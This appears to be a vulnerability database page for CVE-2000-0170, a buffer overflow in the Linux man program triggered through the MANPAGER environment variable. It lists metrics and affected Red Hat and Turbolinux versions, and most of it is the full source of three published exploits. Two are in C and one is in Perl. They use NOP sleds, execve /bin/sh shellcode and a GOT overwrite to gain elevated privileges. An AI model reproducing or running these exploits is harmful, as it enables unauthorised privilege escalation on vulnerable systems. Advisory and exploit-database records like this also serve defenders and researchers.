CVE-2000-0170 : Detail

CVE-2000-0170

0.04%V3
Local
2000-04-10
02h00 +00:00
2005-11-02
09h00 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Buffer overflow in the man program in Linux allows local users to gain privileges via the MANPAGER environmental variable.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 19778

Publication date : 2000-02-25 23h00 +00:00
Author : Babcia Padlina
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/1011/info RedHat 4.0/4.1/4.2/5.0/5.1/5.2/6.0/6.2,RedHat man 1.5,Turbolinux man 1.5,Turbolinux 3.5/4.2/4.4 man Buffer Overrun Vulnerability A buffer overflow exists in the implementation of the 'man' program shipped with RedHat Linux, and other LInux vendors. By carefully crafting a long buffer of machine executable code, and placing it in the MANPAGER environmental variable, it becomes possible for a would be attacker to gain egid man. Using attacks previously outlined by Pawel Wilk, and available in the reference portion of the credit section, it is possible for an attacker to alter manpages such that code will be executed. Upon looking up an altered manpage, code will be executed with the privileges of the person running man. If this person is the root user, root privileges can be obtained. */ /* * (c) 2000 babcia padlina / b0f * (lcamtuf's idea) * * redhat 6.1 /usr/bin/man exploit */ #include <stdio.h> #include <sys/param.h> #include <sys/stat.h> #include <string.h> #define NOP 0x90 #define OFS 1800 #define BUFSIZE 4002 #define ADDRS 1000 long getesp(void) { __asm__("movl %esp, %eax\n"); } int main(argc, argv) int argc; char **argv; { char *execshell = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char *buf, *p; int noplen, i, ofs; long ret, *ap; if(!(buf = (char *)malloc(BUFSIZE+ADDRS+1))) { perror("malloc()"); return -1; } if (argc > 1) ofs = atoi(argv[1]); else ofs = OFS; noplen = BUFSIZE - strlen(execshell); ret = getesp() + ofs; memset(buf, NOP, noplen); buf[noplen+1] = '\0'; strcat(buf, execshell); p = buf + noplen + strlen(execshell); ap = (unsigned long *)p; for(i = 0; i < ADDRS / 4; i++) *ap++ = ret; p = (char *)ap; *p = '\0'; fprintf(stderr, "RET: 0x%x len: %d\n\n", ret, strlen(buf)); setenv("MANPAGER", buf, 1); execl("/usr/bin/man", "man", "ls", 0); return 0; }
Exploit Database EDB-ID : 19779

Publication date : 2000-02-25 23h00 +00:00
Author : Babcia Padlina
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/1011/info RedHat 4.0/4.1/4.2/5.0/5.1/5.2/6.0/6.2,RedHat man 1.5,Turbolinux man 1.5,Turbolinux 3.5/4.2/4.4 man Buffer Overrun Vulnerability A buffer overflow exists in the implementation of the 'man' program shipped with RedHat Linux, and other LInux vendors. By carefully crafting a long buffer of machine executable code, and placing it in the MANPAGER environmental variable, it becomes possible for a would be attacker to gain egid man. Using attacks previously outlined by Pawel Wilk, and available in the reference portion of the credit section, it is possible for an attacker to alter manpages such that code will be executed. Upon looking up an altered manpage, code will be executed with the privileges of the person running man. If this person is the root user, root privileges can be obtained. */ /* * Rewriten from: * (c) 2000 babcia padlina / b0f * (lcamtuf's idea) * by Kil3r of Lam3rZ * for nonexec stack environment * * redhat 6.1 (and others) /usr/bin/man exploit */ char execshell[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; #include <stdio.h> #include <sys/param.h> #include <sys/stat.h> #include <string.h> #define STRCPY 0x80490e4 // <== strcpy() PLT entry #define GOT 0x805038c // <== strcpy() GOT entry #define NOP 0x90 #define BUFSIZE 4033+38 #define RET STRCPY //0x46464646 #define _BIN_SH 0xbfffffe7 // <== where we have "/bin/sh" string, // curently useless ;) #define SHELLCODE 0xbfffffc1 long getesp(void) { __asm__("movl %esp, %eax\n"); } int main(argc, argv) int argc; char **argv; { char buf[BUFSIZE], *p; char *env[3]; int *ap; memset(buf,NOP,BUFSIZE); p=buf+BUFSIZE-4; ap=(int *)p; *ap++ =RET; *ap++ =GOT+4; *ap++ =GOT+4; *ap++ =SHELLCODE; fprintf(stderr, "RET: 0x%x SHELLCODE: 0x%x", RET, SHELLCODE); memcpy(buf,"MANPAGER=", 9); env[0]=buf; // env[1]="/bin/sh"; env[1]=execshell; env[2]=(char *)0; execle("/usr/bin/man", "man", "ls", 0, env); // use execle to have // shellcode and other params at fixed addr!!! return 0; }
Exploit Database EDB-ID : 255

Publication date : 2001-01-18 23h00 +00:00
Author : teleh0r
EDB Verified : Yes

#!/usr/bin/perl ## Redhat 6.1 man exploit - gives egid 15 ## Written just for fun - [email protected] $shellcode = "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07". "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b". "\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff". "\xff\xff\x01\x2f\x62\x69\x6e\x2f\x73\x68\x01"; $len = 4062; # -- Sufficient to overwrite EIP. $nop = "\x90"; # -- x86 NOP. $ret = 0xbfffbb24; # -- ESP / Return value. $offset = -800; # -- Default offset to try. if (@ARGV == 1) { $offset = $ARGV[0]; } for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) { $buffer .= $nop; } # [ Buffer: NNNNNNNNNNNNNN ] # Add the shellcode to the buffer. $buffer .= $shellcode; # [ Buffer: NNNNNNNNNNNNNNSSSSS ] $address = sprintf('%lx', ($ret + $offset)); $new_ret = pack('l', ($ret + $offset)); print("Address: 0x$address / Offset: $offset\n"); sleep(1); # Fill the rest of the buffer (length 100) with RET's. for ($i += length($shellcode); $i < $len; $i += 4) { $buffer .= $new_ret; } # [ Buffer: NNNNNNNNNNNNNNNNSSSSSRRRRRR ] local($ENV{'MANPAGER'}) = $buffer; exec("/usr/bin/man id"); # milw0rm.com [2001-01-19]

Products Mentioned

Configuraton 0

Redhat>>Linux >> Version 4.0

Redhat>>Linux >> Version 4.1

Redhat>>Linux >> Version 4.2

Redhat>>Linux >> Version 5.0

Redhat>>Linux >> Version 5.1

Redhat>>Linux >> Version 5.2

Redhat>>Linux >> Version 6.0

Redhat>>Linux >> Version 6.2

Turbolinux>>Turbolinux >> Version 3.5b2

    Turbolinux>>Turbolinux >> Version 4.2

      Turbolinux>>Turbolinux >> Version 4.4

        References

        http://www.securityfocus.com/bid/1011
        Tags : vdb-entry, x_refsource_BID